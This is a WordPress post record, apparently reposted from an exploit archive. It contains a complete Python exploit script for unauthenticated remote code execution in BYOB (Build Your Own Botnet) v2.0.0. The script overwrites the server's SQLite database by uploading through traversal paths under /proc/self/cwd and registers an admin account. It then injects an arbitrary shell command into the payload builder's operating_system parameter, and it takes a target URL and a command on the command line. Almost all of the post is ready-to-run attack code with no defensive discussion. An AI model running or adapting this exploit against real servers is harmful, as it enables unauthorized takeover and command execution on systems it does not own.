{"id":58936,"date":"2024-08-16T20:09:43","date_gmt":"2024-08-16T17:09:43","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180191\/byob200-exec.txt"},"modified":"2024-08-16T20:09:43","modified_gmt":"2024-08-16T17:09:43","slug":"build-your-own-botnet-2-0-0-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/build-your-own-botnet-2-0-0-remote-code-execution\/","title":{"rendered":"Build Your Own Botnet 2.0.0 Remote Code Execution"},"content":{"rendered":"<p># Exploit Title: BYOB (Build Your Own Botnet) v2.0.0 Unauthenticated RCE (Remote Code Execution)<br \/># Date: 2024-08-14<br \/># Exploit Author: @_chebuya<br \/># Software Link: https:\/\/github.com\/malwaredllc\/byob<br \/># Version: v2.0.0<br \/># Tested on: Ubuntu 22.04 LTS, Python 3.10.12, change numpy==1.17.3-&gt;numpy<br \/># CVE: CVE-2024-?????, CVE-2024-?????<br \/># Description: This exploit works by spoofing an agent callback to overwrite the sqlite database and bypass authentication, then exploiting an authenticated command injection in the payload builder page<br \/># Github: <br \/># Blog: <br \/>import sys<br \/>import json<br \/>import base64<br \/>import string<br \/>import random<br \/>import argparse<br \/>import requests<\/p>\n<p>from bs4 import BeautifulSoup<\/p>\n<p>def get_csrf(session, url):<br \/>r = session.get(url)<br \/>soup = BeautifulSoup(r.text, &#8216;html.parser&#8217;)<br \/>csrf_token = soup.find(&#8216;input&#8217;, {&#8216;name&#8217;: &#8216;csrf_token&#8217;})[&#8216;value&#8217;]return csrf_token<\/p>\n<p>def upload_database(session, url, filename):<br \/>with open(&#8216;database.db&#8217;, &#8216;rb&#8217;) as f:<br \/>bindata = f.read()<br \/>data = base64.b64encode(bindata).decode(&#8216;ascii&#8217;)<br \/>json_data = {&#8216;data&#8217;: data, &#8216;filename&#8217;: filename, &#8216;type&#8217;: &#8220;txt&#8221;, &#8216;owner&#8217;: &#8220;admin&#8221;, &#8220;module&#8221;: &#8220;icloud&#8221;, &#8220;session&#8221;: &#8220;lol&#8221;}<br \/>headers = {<br \/>&#8216;Content-Length&#8217;: str(len(json.dumps(json_data)))<br \/>}<br \/>print(&#8220;[***] Uploading database&#8221;)<br \/>upload_response = session.post(f&#8221;{url}\/api\/file\/add&#8221;, data=json_data, headers=headers)<br \/>print(upload_response.status_code)<br \/>return upload_response.status_code<\/p>\n<p>def exploit(url, username, password, user_agent, command):<br \/>s = requests.Session()<br \/># This is to ensure reliability, as the application cwd might change depending on the stage of the docker run process<br \/>filepaths = [&#8220;\/proc\/self\/cwd\/buildyourownbotnet\/database.db&#8221;, &#8220;\/proc\/self\/cwd\/..\/buildyourownbotnet\/database.db&#8221;, &#8220;\/proc\/self\/cwd\/..\/..\/..\/..\/buildyourownbotnet\/database.db&#8221;, &#8220;\/proc\/self\/cwd\/instance\/database.db&#8221;, &#8220;\/proc\/self\/cwd\/..\/..\/..\/..\/instance\/database.db&#8221;, &#8220;\/proc\/self\/cwd\/..\/instance\/database.db&#8221;]failed = True<br \/>for filepath in filepaths:<br \/>if upload_database(s, url, filepath) != 500:<br \/>failed = False<br \/>break<br \/>if failed:<br \/>print(&#8220;[!!!] Failed to upload database, exiting&#8221;)<br \/>sys.exit(1)<\/p>\n<p>if password is None:<br \/>password = &#8221;.join([random.choice(string.ascii_uppercase + string.digits) for _ in range(32)])<br \/>print(username + &#8220;:&#8221; + password)<\/p>\n<p>register_csrf = get_csrf(s, f'{url}\/register&#8217;)<br \/>headers = {<br \/>&#8216;User-Agent&#8217;: user_agent,<br \/>&#8216;Content-Type&#8217;: &#8216;application\/x-www-form-urlencoded&#8217;,<br \/>}<br \/>data = {<br \/>&#8216;csrf_token&#8217;: register_csrf,<br \/>&#8216;username&#8217;: username,<br \/>&#8216;password&#8217;: password,<br \/>&#8216;confirm_password&#8217;: password,<br \/>&#8216;submit&#8217;: &#8216;Sign Up&#8217;<br \/>}<br \/>print(&#8220;[***] Registering user &#8220;)<br \/>regsiter_response = s.post(f'{url}\/register&#8217;, headers=headers, data=data)<br \/>print(regsiter_response.status_code)<\/p>\n<p>login_csrf = get_csrf(s, f'{url}\/login&#8217;)<br \/>data = {<br \/>&#8216;csrf_token&#8217;: login_csrf,<br \/>&#8216;username&#8217;: username,<br \/>&#8216;password&#8217;: password,<br \/>&#8216;submit&#8217;: &#8216;Log In&#8217;<br \/>}<br \/>print(&#8220;[***] Logging in&#8221;)<br \/>login_response = s.post(f'{url}\/login&#8217;, headers=headers, data=data)<br \/>print(login_response.status_code)<\/p>\n<p>headers = {<br \/>&#8216;User-Agent&#8217;: user_agent,<br \/>&#8216;Content-Type&#8217;: &#8216;application\/x-www-form-urlencoded&#8217;,<br \/>}<br \/>data = f&#8217;format=exe&amp;operating_system=nix$({command})&amp;architecture=amd64&#8242;<br \/>try:<br \/>s.post(f'{url}\/api\/payload\/generate&#8217;, headers=headers, data=data, stream=True, timeout=0.0000000000001)<br \/>except requests.exceptions.ReadTimeout:<br \/>pass<\/p>\n<p>parser = argparse.ArgumentParser()<br \/>parser.add_argument(&#8220;-t&#8221;, &#8220;&#8211;target&#8221;, help=&#8221;The target URL of the BYOB admin panel&#8221;, required=True)<br \/>parser.add_argument(&#8220;-u&#8221;, &#8220;&#8211;username&#8221;, help=&#8221;The username to set for the new admin account&#8221;, default=&#8217;admin&#8217;)<br \/>parser.add_argument(&#8220;-p&#8221;, &#8220;&#8211;password&#8221;, help=&#8221;The password to set for the new admin account&#8221;, default=None)<br \/>parser.add_argument(&#8220;-A&#8221;, &#8220;&#8211;user-agent&#8221;, help=&#8221;The user-agent to use for requests&#8221;, default=&#8217;Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/127.0.0.0 Safari\/537.36&#8242;)<br \/>parser.add_argument(&#8220;-c&#8221;, &#8220;&#8211;command&#8221;, help=&#8221;The command to execute on the BYOB server&#8221;, required=True)<\/p>\n<p>args = parser.parse_args()<\/p>\n<p>exploit(args.target.rstrip(&#8220;\/&#8221;), args.username, args.password, args.user_agent, args.command)<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: BYOB (Build Your Own Botnet) v2.0.0 Unauthenticated RCE (Remote Code Execution)# Date: 2024-08-14# Exploit Author: @_chebuya# Software Link: https:\/\/github.com\/malwaredllc\/byob# Version: v2.0.0# Tested on: Ubuntu 22.04 LTS, Python 3.10.12, change numpy==1.17.3-&gt;numpy# CVE: CVE-2024-?????, CVE-2024-?????# Description: This exploit works by spoofing an agent callback to overwrite the sqlite database and bypass authentication, then exploiting &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-58936","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58936","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=58936"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58936\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=58936"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=58936"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=58936"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}